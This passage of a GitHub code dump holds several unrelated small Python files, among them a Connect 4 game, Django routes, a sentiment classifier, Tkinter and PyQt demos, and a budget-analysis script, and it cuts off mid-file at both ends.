unexpectedly.\")\r\n exit()\r\n except Exception as x:\r\n console.print(\"Whoa, that's not right...\", style=error_style)\r\n console.print(f\"Unexpected error: {x}. Assigning default names as a precaution...\", style=error_style)\r\n logging.error(f\"ERROR: {x}. Assigning default names...\")\r\n player_1 = \"Player 1\"\r\n player_2 = \"Player 2\"\r\n return player_1, player_2\r\n\r\n\r\ndef game_loop():\r\n # NAME PLAYERS\r\n player_1, player_2 = player_setup()\r\n players = [player_1, player_2]\r\n logging.info(\"Game starting with %s and %s\", player_1, player_2)\r\n\r\n # SETUP BOARD\r\n # The board is presented an empty set of lists that we fill in.\r\n board = [\r\n [None, None, None, None, None, None, None],\r\n [None, None, None, None, None, None, None],\r\n [None, None, None, None, None, None, None],\r\n [None, None, None, None, None, None, None],\r\n [None, None, None, None, None, None, None],\r\n [None, None, None, None, None, None, None],\r\n ]\r\n\r\n # CHOOSE WHO GOES FIRST\r\n print(f\"\\nLet's flip for who goes first:\" + Fore.LIGHTGREEN_EX + f\" {player_1} \" + Fore.WHITE +\r\n \"or\" + Fore.LIGHTGREEN_EX + f\" {player_2}\" + Style.RESET_ALL + \"...\")\r\n coin_flip = random.randint(0, 1)\r\n if coin_flip == 0:\r\n active_player_index = 0 # Starts with player 1 taking a turn\r\n print(Fore.LIGHTGREEN_EX + f\"{player_1}\" + Style.RESET_ALL + \" goes first!\")\r\n logging.info(\"Player 1: %s, is going first\", player_1)\r\n else:\r\n active_player_index = 1 # Starts with player 2 taking a turn\r\n print(f\"{player_2} goes first!\")\r\n logging.info(\"Player 2: %s, is going first\", player_2)\r\n\r\n # Game Pieces\r\n symbols = [Fore.LIGHTRED_EX + \"X\" + Style.RESET_ALL, Fore.LIGHTCYAN_EX + \"O\" + Style.RESET_ALL]\r\n\r\n # GAME PLAY\r\n player = players[active_player_index] # Safety assignment to avoid issues with 'player' later\r\n while not find_winner(board):\r\n game_piece = symbols[active_player_index]\r\n player = players[active_player_index]\r\n\r\n announce_turn(player)\r\n show_board(board)\r\n\r\n choose_location(board, game_piece)\r\n check_winning_sequence(board)\r\n active_player_index = (active_player_index + 1) % len(players)\r\n logging.info(\"Changing over to %s's turn...\", player)\r\n logging.info(\"%s has won the game.\", player)\r\n console = Console()\r\n console.print(f\"\\nGAME OVER! [#f7b23c]{player}[/#f7b23c] has won with this board!\", style=\"white on #284ca9\")\r\n show_board(board)\r\n record_win(player)\r\n\r\n new_game_request(player)\r\n\r\n\r\ndef show_board(board):\r\n console = Console()\r\n print(\" \", end='')\r\n for n in range(1, 8, 1):\r\n console.print(n, end=' ')\r\n print()\r\n for row in board:\r\n print(\"| \", end='')\r\n for cell in row:\r\n game_piece = cell if cell is not None else \"_\"\r\n print(game_piece, end=\" | \")\r\n print()\r\n\r\n\r\ndef choose_location(board, symbol):\r\n console = Console()\r\n error_style = \"bold white on #C70017\"\r\n interrupt_style = \"bold white on #730e1d\"\r\n try:\r\n while True:\r\n column = int(input(\"Which column will you place your piece?: \"))\r\n\r\n column -= 1\r\n logging.info(\"Column %s has been selected\", column)\r\n if column < 0 or column >= len(board[0]):\r\n logging.info(\"Player has selected an invalid location.\")\r\n return False\r\n\r\n cell = board[0][column]\r\n if cell is not None:\r\n print(\"Whoops, looks like there's no space there. Try another.\")\r\n logging.info(\"Player has tried placing a symbol in a full column\")\r\n continue\r\n\r\n break\r\n\r\n current_row = 0\r\n\r\n # Starts for loop; checks all entries in the board list\r\n # IF condition 1: subtracts 1 from total list number to check if current row is same as last row: empty\r\n # IF condition 2: checks if column in the row directly underneath has something in it.\r\n # if either are met, assigns current_row to row value\r\n # This allows the check to keep moving down the column list until it finds something or hits the bottom\r\n for row in range(0, len(board)):\r\n if row == (len(board) - 1) or board[row+1][column] is not None:\r\n current_row = row\r\n break\r\n\r\n board[current_row][column] = symbol\r\n return True\r\n except EOFError:\r\n console.print(\"EOF ERROR: Invalid formatting. Skipping turn to avoid disaster...\", style=error_style)\r\n logging.error(f\"ERROR: EOF. Unexpected character entered. Skipping turn.\")\r\n except KeyboardInterrupt:\r\n console.print(\"All right, see you later.\", style=interrupt_style)\r\n logging.warning(\"WARNING: User input CTRL + C to end program unexpectedly.\")\r\n exit()\r\n except Exception as x:\r\n console.print(\"Whoa, that's not right...\", style=error_style)\r\n console.print(f\"Unexpected error: {x}\", style=error_style)\r\n console.print(\"Skipping turn to avoid disaster...\", style=error_style)\r\n logging.error(f\"Unexpected ERROR: {x}. Skipping turn.\")\r\n\r\n\r\ndef announce_turn(player):\r\n print()\r\n print(\"It's\" + Fore.LIGHTGREEN_EX + f\" {player}'s \" + Style.RESET_ALL + \"turn. Make your move.\")\r\n print()\r\n logging.info(\"%s is making their turn\", player)\r\n\r\n\r\ndef find_winner(board):\r\n logging.info(\"Checking for possible win sequences...\")\r\n sequences = check_winning_sequence(board)\r\n\r\n for cells in sequences:\r\n symbol1 = cells[0]\r\n if symbol1 and all(symbol1 == cell for cell in cells):\r\n return True\r\n\r\n return False\r\n\r\n\r\ndef check_winning_sequence(board):\r\n sequences = []\r\n\r\n # Win by rows.\r\n rows = board\r\n for row in rows:\r\n # Go through each row and get any consecutive sequence of 4 cells\r\n fours_across = find_sequences_of_four_cells_in_a_row(row)\r\n sequences.extend(fours_across)\r\n\r\n # Win by columns\r\n for col_idx in range(0, 7):\r\n col = [\r\n board[0][col_idx],\r\n board[1][col_idx],\r\n board[2][col_idx],\r\n board[3][col_idx],\r\n board[4][col_idx],\r\n board[5][col_idx],\r\n ]\r\n # Go through each column and get any consecutive sequence of 4 cells\r\n fours_down = find_sequences_of_four_cells_in_a_row(col)\r\n sequences.extend(fours_down)\r\n\r\n diagonals = [\r\n # Down to the right diagonals\r\n [board[2][0], board[3][1], board[4][2], board[5][3]],\r\n [board[1][0], board[2][1], board[3][2], board[4][3], board[5][4]],\r\n [board[0][0], board[1][1], board[2][2], board[3][3], board[4][4], board[5][5]],\r\n [board[0][1], board[1][2], board[2][3], board[3][4], board[4][5], board[5][6]],\r\n [board[0][2], board[1][3], board[2][4], board[3][5], board[4][6]],\r\n [board[0][3], board[1][4], board[2][5], board[3][6]],\r\n\r\n # Down to the left diagonals\r\n [board[0][3], board[1][2], board[2][1], board[3][0]],\r\n [board[0][4], board[1][3], board[2][2], board[3][1], board[4][0]],\r\n [board[0][5], board[1][4], board[2][3], board[3][2], board[4][1], board[5][0]],\r\n [board[0][6], board[1][5], board[2][4], board[3][3], board[4][2], board[5][1]],\r\n [board[1][6], board[2][5], board[3][4], board[4][3], board[5][2]],\r\n [board[2][6], board[3][5], board[4][4], board[5][3]],\r\n ]\r\n\r\n for diag in diagonals:\r\n fours_diagonals = find_sequences_of_four_cells_in_a_row(diag)\r\n sequences.extend(fours_diagonals)\r\n\r\n return sequences\r\n\r\n\r\ndef find_sequences_of_four_cells_in_a_row(cells):\r\n sequences = []\r\n for n in range(0, len(cells) - 3):\r\n candidate = cells[n:n + 4]\r\n if len(candidate) == 4:\r\n sequences.append(candidate)\r\n\r\n return sequences\r\n\r\n\r\ndef new_game_request(player):\r\n console = Console()\r\n style = \"bold white on #284ca9\"\r\n style2 = \"bold white on #730e1d\"\r\n error_style = \"bold white on #C70017\"\r\n interrupt_style = \"bold white on #730e1d\"\r\n\r\n logging.info(\"Requesting user for a new game...\")\r\n valid_responses = [\"y\", \"yes\"]\r\n negative_responses = [\"n\", \"no\"]\r\n rich.print(Panel(f\"\\nCongratulations, [#15B20c]{player}[/]!\"\r\n \" The game is over and there is not much else to show, but... \"\r\n \"Would you like to play again?\", title=\"Game over!\",))\r\n try:\r\n response = input(\"\\n[Y]es or [N]o: \")\r\n if response.lower() in valid_responses:\r\n console.print(\"\\nOkay, starting a new game...\\n\\n\", style=style)\r\n logging.info(\"Game restarting...\")\r\n game_loop()\r\n elif response.lower() in negative_responses:\r\n console.print(\"\\nAll right, thanks for playing.\", style=style2)\r\n logging.info(\"Session terminated.\")\r\n exit()\r\n except EOFError:\r\n console.print(\"EOF ERROR: Invalid character string entered. Quitting game anyway...\", style=error_style)\r\n logging.error(\"ERROR: EOF. Unexpected character entered. Terminating...\")\r\n exit()\r\n except KeyboardInterrupt:\r\n console.print(\"All right, see you later.\", style=interrupt_style)\r\n logging.warning(\"WARNING: User input CTRL + C to end program unexpectedly.\")\r\n exit()\r\n except Exception as x:\r\n console.print(\"Whoa, that's not right...\", style=error_style)\r\n console.print(f\"Unexpected error: {x}\", style=error_style)\r\n console.print(\"Proceeding to terminate program anyway...\", style=error_style)\r\n logging.error(f\"Unexpected ERROR: {x}. Terminating...\")\r\n exit()\r\n\r\n\r\ndef show_leaderboard():\r\n leaders = load_leaderboard()\r\n\r\n table = Table(box=rich.table.box.ROUNDED)\r\n table.add_column(\"[#f7b23c]LEADERBOARD[/#f7b23c]\",\r\n justify=\"left\",\r\n style=\"bold\",\r\n )\r\n\r\n sorted_leaders = list(leaders.items()) # asking for 'items' returns the key and item\r\n sorted_leaders.sort(key=lambda l: l[1], reverse=True)\r\n # ^ sorts leaderboard in descending order based on win count (second item, aka [1])\r\n for name, wins in sorted_leaders[0:5]: # [0:5] expression will only list the first five results\r\n table.add_row(f\"{wins:,} -- {name}\")\r\n # using , in wins lets us use commas when printing the number \"3,000\"\r\n\r\n console = Console()\r\n console.print(table)\r\n\r\n\r\ndef load_leaderboard():\r\n directory = os.path.dirname(__file__)\r\n filename = os.path.join(directory, 'cnct4_leaderboard.json')\r\n\r\n if not os.path.exists(filename):\r\n logging.warning(\"Missing 'cnct4_leaderboard.json'. Creating new instance.\")\r\n return {\"Mario\": 3, \"Gamer_Guy\": 1}\r\n\r\n with open(filename, 'r', encoding='utf-8') as fin:\r\n return json.load(fin)\r\n\r\n\r\ndef record_win(player):\r\n leaders = load_leaderboard()\r\n\r\n if player in leaders:\r\n leaders[player] += 1\r\n else:\r\n leaders[player] = 1\r\n\r\n directory = os.path.dirname(__file__)\r\n filename = os.path.join(directory, 'cnct4_leaderboard.json')\r\n\r\n with open(filename, 'w', encoding='utf-8') as fout:\r\n json.dump(leaders, fout)\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"net-route/Connect-4","sub_path":"Connect4.py","file_name":"Connect4.py","file_ext":"py","file_size_in_byte":13988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"36129485385","text":"from django.contrib import admin\nfrom django.conf import settings\nfrom django.conf.urls.static import static\nfrom django.urls import path, include\nfrom users import views as user_views\nfrom cart import views as cart_views\n\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('register/', user_views.register, name='register'),\n path('dashboard//', user_views.dashboard_view, name='dashboard'),\n path('login/', user_views.LoginPage, name='login'),\n path('logout/', user_views.LogoutPage, name='logout'),\n path('wishlist/add//', user_views.add_to_wishlist, name='add-to-wishlist'),\n path('/wishlist/', user_views.wishlist_view, name='wishlist'),\n path('favourite/add//', user_views.add_to_favourites, name='add-to-favourites'),\n path('/favourites/', user_views.favourites_view, name='favourites'),\n path('cart/add//', cart_views.add_to_cart, name='add-to-cart'),\n path('/cart/', cart_views.cart_products_list, name='cart'),\n path('item//quantity/increase/', cart_views.increase_item_quantity, name='increase-quantity'),\n path('item//quantity/decrease/', cart_views.decrease_item_quantity, name='decrease-quantity'),\n path('order/', cart_views.create_order, name='order'),\n path('/orders/', cart_views.order_list_view, name='order-list'),\n path('order//detail/', cart_views.order_detail_view, name='order-detail'),\n path('cart//checkout/', cart_views.checkout_view, name='checkout'),\n path('order-confirmed/', cart_views.order_confirmation_view, name='order-confirmed'),\n path('order//attended_to/', cart_views.attended_to_view, name='attended-to'),\n path('', include('products.urls')),\n path('inbox/notifications/', include('notifications.urls', namespace='notifications'))\n]\n\n\nif settings.DEBUG:\n urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n urlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)","repo_name":"Rotisary/shoply","sub_path":"shoply/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2068,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"14799689761","text":"#coding:utf8\nimport jieba\n#import nltk\nimport nltk\nfrom nltk.collocations import BigramCollocationFinder\nfrom nltk.metrics import BigramAssocMeasures\nfrom nltk.probability import FreqDist,ConditionalFreqDist\nfrom nltk.metrics import BigramAssocMeasures\n#import sci-kit learn\nimport sklearn\nfrom sklearn.externals import joblib\n\n#get original text\ndef text():\n\tf1 = open('../docs/test.txt','r',encoding='utf8')\n\tline1 = f1.readline()\n\tstr = ''\n\n\twhile line1:\n\t\tstr += line1\n\t\tline1 = f1.readline()\n\tf1.close()\n\tstr = str.split('\\n')\n\treturn str\n\n#Generate corpus\ndef read_file(filename):\n\tjieba.load_userdict(\"../docs/jieba_dict/userdict.txt\")\n\tstop = [line.strip() for line in open('../docs/jieba_dict/stopwords.txt','r',encoding='utf8').readlines()]#停用詞\n\tf = open(filename,'r',encoding='utf8')\n\tline = f.readline()\n\tstr = []\n\n\twhile line:\n\t\ts = line.split('\\t')\n\t\tfenci = jieba.cut(s[0], cut_all=False)#False預設值：精準模式\n\t\tstr.append(list(set(fenci)-set(stop)))\n\t\tline = f.readline()\n\treturn str\n\ndef jieba_best_words():\n\tposWords = []\n\tnegWords = []\n\n\tfor items in read_file('../docs/pos_tw.txt'):#把集合的集合變成集合\n\t\tfor item in items:\n\t\t\tif item is not None:\n\t\t\t\titem = item.replace('\\ufeff','').replace('\\n','')\n\t\t\t\tposWords.append(item)\n\n\tfor items in read_file('../docs/neg_tw.txt'):\n\t\tfor item in items:\n\t\t\tif item is not None:\n\t\t\t\titem = item.replace('\\ufeff','').replace('\\n','')\n\t\t\t\tnegWords.append(item)\n\n\n\tword_fd = FreqDist() #可統計所有詞的詞頻\n\tcond_word_fd = ConditionalFreqDist() #可統計積極文字中的詞頻和消極文字中的詞頻\n\n\tfor word in posWords:\n\t\tword_fd[word] += 1\n\t\tcond_word_fd['pos'][word] += 1\n\n\tfor word in negWords:\n\t\tword_fd[word] += 1\n\t\tcond_word_fd['neg'][word] += 1\n\n\tpos_word_count = cond_word_fd['pos'].N() #積極詞的數量\n\tneg_word_count = cond_word_fd['neg'].N() #消極詞的數量\n\ttotal_word_count = pos_word_count + neg_word_count\n\tword_scores = {}#包括了每個詞和這個詞的資訊量\n\n\tfor word, freq in word_fd.items():\n\t\tpos_score = BigramAssocMeasures.chi_sq(cond_word_fd['pos'][word], (freq, pos_word_count), total_word_count) #計算積極詞的卡方統計量，這裡也可以計算互資訊等其它統計量\n\t\tneg_score = BigramAssocMeasures.chi_sq(cond_word_fd['neg'][word], (freq, neg_word_count), total_word_count) #同理\n\t\tword_scores[word] = pos_score + neg_score #一個詞的資訊量等於積極卡方統計量加上消極卡方統計量\n\tbest_vals = sorted(word_scores.items(), key=lambda item:item[1], reverse=True)[:1500] #把詞按資訊量倒序排序。number是特徵的維度\n\tbest_words = set([w for w,s in best_vals])\n\treturn dict([(word, True) for word in best_words])\n\ndef extract_features(datas):\n\tprint('Extracting features...')\n\tfeature = jieba_best_words()\n\tcorpusFeatures = []\n\tfor data in datas:\n\t\ta = {}\n\t\tfor item in data:\n\t\t\titem = item.replace('\\ufeff','')\n\t\t\tif item in feature.keys() and item is not '\\n':\n\t\t\t\ta[item]='True'\n\t\tFeatureWords = a\n\t\tcorpusFeatures.append(FeatureWords)\n\treturn corpusFeatures\n\nif __name__ == \"__main__\":\n\n\tjieba.set_dictionary('../docs/jieba_dict/dict.txt.big')\n\n\t#get corpus\n\tcorpus = read_file('../docs/test.txt')\n\tcorpusFeatures = extract_features(corpus)\n\t#classifier\n\tclf = joblib.load('../docs/ml_data/LogisticRegression_classifier.pkl')\n\tpred = clf.prob_classify_many(corpusFeatures)\n\n\toriginalText = text()\n\tfor i in pred:\n\t\tprint('\\n---\\n' + str(pred.index(i)+1) + '\\n---\\nOriginal Text:\\n')\n\t\tprint(originalText[pred.index(i)].replace('\\ufeff',''))\n\t\tprint(corpusFeatures[pred.index(i)])\n\t\tprint('Positive probability: %2.5f' %i.prob('pos'))\n\t\tprint('Negative probability: %2.5f' %i.prob('neg'))\n\t\tscore = i.prob('pos')-i.prob('neg')\n\t\tprint('score: ' + str(score))\n\t\tprint('Emotion: ' + i.max())\n","repo_name":"cycgp/ChinaAirlineProject","sub_path":"Sentiment Analysis/ML/Sentiment_ml.py","file_name":"Sentiment_ml.py","file_ext":"py","file_size_in_byte":3796,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"38714126076","text":"#Author: Aleksi Hieta\r\n#Viewer.py: image viewer for multiple pics\r\n#Date: 11/15/22\r\n\r\nfrom tkinter import *\r\n\r\nfrom PIL import Image, ImageTk\r\n\r\n#Python image library\r\n\r\nroot = Tk()\r\nroot.title('Testrun of Window Menu')\r\nroot.iconbitmap('C:/Users/ahiet/OneDrive/Desktop/ECE44xPythonGUI/GUI/OSLogo.ico') #import images tough way\r\nframe = LabelFrame(root, padx=150, pady=150) #padding inside the frame\r\nframe.grid(row=0, column=0, columnspan=3, padx=10, pady=10)\r\n\r\ndef opengoose():\r\n global my_img\r\n top = Toplevel()\r\n top.title('Goose Window')\r\n top.iconbitmap('C:/Users/ahiet/OneDrive/Desktop/ECE44xPythonGUI/GUI/OSLogo.ico')\r\n #lbl = Label(top, text=\"Test\").pack()\r\n my_img = ImageTk.PhotoImage(Image.open(\"ImageLib/GoosePipe.jpg\")) #Note: variables need to be global\r\n my_label = Label(top, image=my_img).pack()\r\n btn2 = Button(top, text=\"Destroy Goose\", command=top.destroy).pack() \r\n\r\nbtn = Button(frame, text=\"Release the Goose!\", command=opengoose).pack()\r\n\r\ndef opendanger():\r\n global my_img2\r\n top2 = Toplevel()\r\n top2.title('Goose Window')\r\n top2.iconbitmap('C:/Users/ahiet/OneDrive/Desktop/ECE44xPythonGUI/GUI/OSLogo.ico')\r\n #lbl = Label(top, text=\"Test\").pack()\r\n my_img2 = ImageTk.PhotoImage(Image.open(\"ImageLib/DangerGoose.png\")) #Note: variables need to be global\r\n my_label = Label(top2, image=my_img2).pack()\r\n btn2 = Button(top2, text=\"Destroy Goose\", command=top2.destroy).pack() \r\n\r\nbtn2 = Button(frame, text=\"Face your Doom!\", command=opendanger).pack()\r\n\r\n\r\nmainloop()","repo_name":"Aleksi-Hieta/Personal-GUI-Design","sub_path":"ECE44xPythonGUI/GUI/WindowsMenu.py","file_name":"WindowsMenu.py","file_ext":"py","file_size_in_byte":1523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"21487449548","text":"# Python script to analyze Profit & Loss of a company over approx 7 years.\n# import file & read it\nimport os\nimport csv\nfile_path = os.path.join('Resources','budget_data.csv')\nwith open(file_path) as budget_data:\n csv_reader=csv.reader(budget_data,delimiter=',')\n # read header row first\n csv_header=next(budget_data)\n # create an empty set to store # of rows for months\n total_months = []\n # create a variable for total and set to 0\n total = 0\n amount = []\n change = []\n # read through each row of data after header\n for row in csv_reader:\n # count number of months, referencing the specific column\n # referenced code from James Shapiro at https://stackoverflow.com/\n # questions/64857757/best-way-to-count-unique-values-from\n # -csv-in-python\n total_months.append(row[0])\n # sum each row in the second column for the net total P/L\n total += int(row[1])\n # create a list of all values in the P/L column & convert\n # to an integer\n amount.append(int(row[1]))\n # calculate the change between each row starting with the 2nd row minus\n # the first and looping through all values in 'amount' referenced code\n # from Jordi Fuentes at https://stackoverflow.com/questions/59494280/loop\n # -over-csv-and-subtract-previous-line-from-current-line\n for index,element in enumerate(amount[1:]): #enumerate is assigning an index to \n # the values in the amount list so the previous rows can be referenced in the following\n # equation\n change.append(int(element)-int(amount[index])) # element0 or the 2nd amount minus \n # element indexed at -1 or the first amount\n # calculate average change\n avg_change = sum(change)/len(change)\n # determine corresponding month with max/min change\n max_change_index = change.index(max(change))\n min_change_index = change.index(min(change))\n max_mm_yy = total_months[max_change_index+1]\n min_mm_yy = total_months[min_change_index+1]\n # print statements to display analysis\n print(f'''Financial Analysis\n----------------------------\nTotal Months: {len(total_months)}\nTotal: ${total}\nAverage Change: ${round(avg_change,2)}\nGreatest Increase in Profits: {max_mm_yy} (${max(change)})\nGreatest Decrease in Profits: {min_mm_yy} (${min(change)})''')\n# export data to a txt file\nwith open('budget_analysis.txt','w') as f:\n print(f'''Financial Analysis\n----------------------------\nTotal Months: {len(total_months)}\nTotal: ${total}\nAverage Change: ${round(avg_change,2)}\nGreatest Increase in Profits: {max_mm_yy} (${max(change)})\nGreatest Decrease in Profits: {min_mm_yy} (${min(change)})''', file=f)\n ","repo_name":"larsonki/python-challenge","sub_path":"PyBank/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2911,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"22304676783","text":"# Index(['Lap', 'Elapsed Time (ms)', 'Elapsed Time (mm:ss.ms)',\n# 'Total Time (ms)', 'Total Time (mm:ss.ms)', 'Speed (MPH)',\n# 'Speed (KMH)', 'Latitude (decimal)', 'Longitude (decimal)',\n# 'Lateral Acceleration (m/s^2)', 'Longitudinal Acceleration (m/s^2)',\n# 'Throttle Position (%)', 'Brake Pressure (bar)', 'Steering Angle (deg)',\n# 'Steering Angle Rate (deg/s)', 'Yaw Rate (rad/s)', 'Power Level (KW)',\n# 'State of Charge (%)', 'Tire Pressure Front Left (bar)',\n# 'Tire Pressure Front Right (bar)', 'Tire Pressure Rear Left (bar)',\n# 'Tire Pressure Rear Right (bar)',\n# 'Brake Temperature Front Left (% est.)',\n# 'Brake Temperature Front Right (% est.)',\n# 'Brake Temperature Rear Left (% est.)',\n# 'Brake Temperature Rear Right (% est.)', 'Front Inverter Temp (%)',\n# 'Rear Inverter Temp (%)', 'Battery Temp (%)',\n# 'Tire Slip Front Left (% est.)', 'Tire Slip Front Right (% est.)',\n# 'Tire Slip Rear Left (% est.)', 'Tire Slip Rear Right (% est.)'],\n# dtype='object')\n\nCOL_NAME_LAP = 'Lap'\n\nCOL_NAME_LAP_MS = 'Elapsed Time (ms)'\nCOL_NAME_LAP_DATETIME = 'Elapsed Time (mm:ss.ms)'\nCOL_NAME_DIST_CHECKPOINT_FROM_START = 'Distance from Start (m)' # only in copy of df\nCOL_NAME_TIME_DELTA = 'Time Delta (s)' # only in copy of df\nCOL_NAME_TOTAL_MS = 'Total Time (ms)'\nCOL_NAME_TOTAL_DATETIME = 'Total Time (mm:ss.ms)'\n\nCOL_NAME_LATITUDE = 'Latitude (decimal)'\nCOL_NAME_LONGITUDE = 'Longitude (decimal)'\nCOL_NAME_Y_M = 'y (m)' # only in copy of df\nCOL_NAME_X_M = 'x (m)' # only in copy of df\n\nCOL_NAME_SPEED_MPH = 'Speed (MPH)'\nCOL_NAME_SPEED_KMH = 'Speed (KMH)'\n\nCOL_NAME_BRAKE = 'Brake Pressure (bar)'\nCOL_NAME_THROTTLE = 'Throttle Position (%)'\n\nCOL_NAME_STEER_ANGLE = 'Steering Angle (deg)'\n\nCOL_NAME_LAT_ACCEL = 'Lateral Acceleration (m/s^2)'\nCOL_NAME_LONG_ACCEL = 'Longitudinal Acceleration (m/s^2)'\n\nCOL_NAME_POWER_LEVEL = 'Power Level (KW)'\n\nCOL_NAME_STATE_OF_CHARGE = 'State of Charge (%)'\n\nCOL_NAME_TIRE_SLIP_FRONT_LEFT = 'Tire Slip Front Left (% est.)'\nCOL_NAME_TIRE_SLIP_FRONT_RIGHT = 'Tire Slip Front Right (% est.)'\nCOL_NAME_TIRE_SLIP_REAR_LEFT = 'Tire Slip Rear Left (% est.)'\nCOL_NAME_TIRE_SLIP_REAR_RIGHT = 'Tire Slip Rear Right (% est.)'\n\nCOL_NAME_BRAKE_TEMP_FRONT_LEFT = 'Brake Temperature Front Left (% est.)'\nCOL_NAME_BRAKE_TEMP_FRONT_RIGHT = 'Brake Temperature Front Right (% est.)'\nCOL_NAME_BRAKE_TEMP_REAR_LEFT = 'Brake Temperature Rear Left (% est.)'\nCOL_NAME_BRAKE_TEMP_REAR_RIGHT = 'Brake Temperature Rear Right (% est.)'\n\nCOL_NAME_REAR_INVERTER_TEMP = 'Rear Inverter Temp (%)'\nCOL_NAME_BATTERY_TEMP = 'Battery Temp (%)'\n\nCOL_NAME_TIRE_PRESSURE_FRONT_LEFT = 'Tire Pressure Front Left (bar)'\nCOL_NAME_TIRE_PRESSURE_FRONT_RIGHT = 'Tire Pressure Front Right (bar)'\nCOL_NAME_TIRE_PRESSURE_REAR_LEFT = 'Tire Pressure Rear Left (bar)'\nCOL_NAME_TIRE_PRESSURE_REAR_RIGHT = 'Tire Pressure Rear Right (bar)'\n","repo_name":"wzj998/TeslaTrackAnalyzer","sub_path":"PythonProject/Structures/ContinusLapsConsts.py","file_name":"ContinusLapsConsts.py","file_ext":"py","file_size_in_byte":2938,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"73447435343","text":"import sys\nimport numpy as np\n\nfrom .clipboard_base import ClipboardBase\n\n# Check if we are running on macOS, because pasteboard is only available on macOS\nif sys.platform == \"darwin\":\n try:\n import pasteboard\n except:\n pasteboard = None\nelse:\n pasteboard = None\n\n\nclass DarwinClipboard(ClipboardBase):\n def __init__(self) -> None:\n if pasteboard is None:\n raise Exception(\"Pasteboard is not available.\")\n\n self.pb = pasteboard.Pasteboard()\n\n def copy_image(self, image_bytes: bytes, image_array: np.ndarray) -> None:\n if self.pb is None or pasteboard is None:\n raise Exception(\"Pasteboard is not available.\")\n\n self.pb.set_contents(image_bytes, pasteboard.PNG)\n\n def copy_text(self, text: str) -> None:\n if self.pb is None or pasteboard is None:\n raise Exception(\"Pasteboard is not available.\")\n\n self.pb.set_contents(text)\n","repo_name":"orgTestCodacy11KRepos110MB/repo-1470-chaiNNer","sub_path":"backend/src/nodes/impl/clipboard/clipboard_darwin.py","file_name":"clipboard_darwin.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"10820918898","text":"#!/usr/bin/python\n#coding:utf-8\n\nimport sys\nfrom PyQt4 import QtGui, QtCore\n\nclass MainWindow(QtGui.QMainWindow):\n def __init__(self):\n QtGui.QMainWindow.__init__(self)\n\n self.resize(250, 150)\n self.setWindowTitle(u'工具栏')\n\n self.exit = QtGui.QAction(QtGui.QIcon('icon/exit.png'), 'Exit', self)\n self.exit.setShortcut('Ctrl+Q')\n self.connect(self.exit, QtCore.SIGNAL('triggered()'), QtCore.SLOT('close()'))\n\n self.toolbar = self.addToolBar(u'退出')\n self.toolbar.addAction(self.exit)\n\napp = QtGui.QApplication(sys.argv)\nfp = MainWindow()\nfp.show()\nexit(app.exec_())\n","repo_name":"wenhaoliang/learn-python","sub_path":"GUI/pyqt/PyQt_1/pyqy_9.py","file_name":"pyqy_9.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"} +{"seq_id":"14610276247","text":"import numpy as np\nimport pandas as pd\n\nQ = [130775.0, 5947.0324, 0.203, 0.0083, 144.0, 81.0, 1.0435]\nNeighbors = 20\nreffile = 'processed_front.pf'\ndatafile = 'processed_front.pf'\nselected_columns = ['IVTT', 'WT', 'TP', 'UP', 'FS', 'RL', 'DO'] #['IVTT', 'WT', 'TP', 'UP', 'FS', 'RL', 'DO']\n\ndef fsi_numpy(arr, item_id):\n tmp_arr = arr - arr[item_id]\n tmp_ser = np.sum( np.square( tmp_arr ), axis=1 )\n return tmp_ser\n\nQ = np.genfromtxt('nearest_neighbors.in') \ndf = pd.read_csv(datafile, delimiter=' ')\ndf.loc[len(df)] = Q\ndf = df.drop_duplicates()\n#df = df.reset_index(drop=True)\nref = pd.read_csv(reffile, delimiter=' ')\ndf_norm = (df - ref.min()) / (ref.max() - ref.min())\nmat = df_norm.as_matrix(columns=selected_columns)\ndf2=df.copy();\ndf2['dist'] = fsi_numpy(mat , len(df2)-1)\ndf2 = df2.sort_values(by='dist').head(Neighbors)\n#print df2\n\n\n\n","repo_name":"ali-nayeem/Simulation","sub_path":"nearest_neighbors.py","file_name":"nearest_neighbors.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"12271356134","text":"\"\"\"\ncooccur_util.py\n - count word co-occurrences from preprocessed conditional corpora\n - ref: NTY_util/batch_cooccur.py\n\"\"\"\n\nimport os\nimport numpy as np\nimport argparse\nimport sys\nfrom config.params import *\n\n\ndef calcScale(cond_data_folder, cond_list):\n size_list = []\n for cond in cond_list:\n fn = os.path.join(cond_data_folder, str(cond)+\".txt\")\n fn_size = os.path.getsize(fn)\n size_list.append(fn_size)\n median_size = np.median(size_list)\n scale_list = [float(median_size) / s for s in size_list]\n return scale_list\n\ndef countCooccur(cond_data_folder, vocab_data_folder, cooccur_folder,\n cond_list=[], window_size=5):\n scale_list = calcScale(cond_data_folder, cond_list)\n vocab_fn = os.path.join(vocab_data_folder, \"vocab.txt\")\n cooccur_fn = os.path.join(cooccur_folder, \"cooccur.bin\")\n for (cond_ind, cond) in enumerate(cond_list):\n scale = scale_list[cond_ind]\n corpus_fn = os.path.join(cond_data_folder, str(cond)+\".txt\")\n command_fn = \"run_cooccur.sh\"\n ref_fn = os.path.join(src_model_folder, command_fn)\n # customize .sh to count co-occurrences\n fin = open(ref_fn, \"r\")\n lines = fin.readlines()\n fin.close()\n commands = [\"CORPUS=\"+corpus_fn, \\\n \"COOCCURRENCE_FILE=\"+str(cooccur_fn), 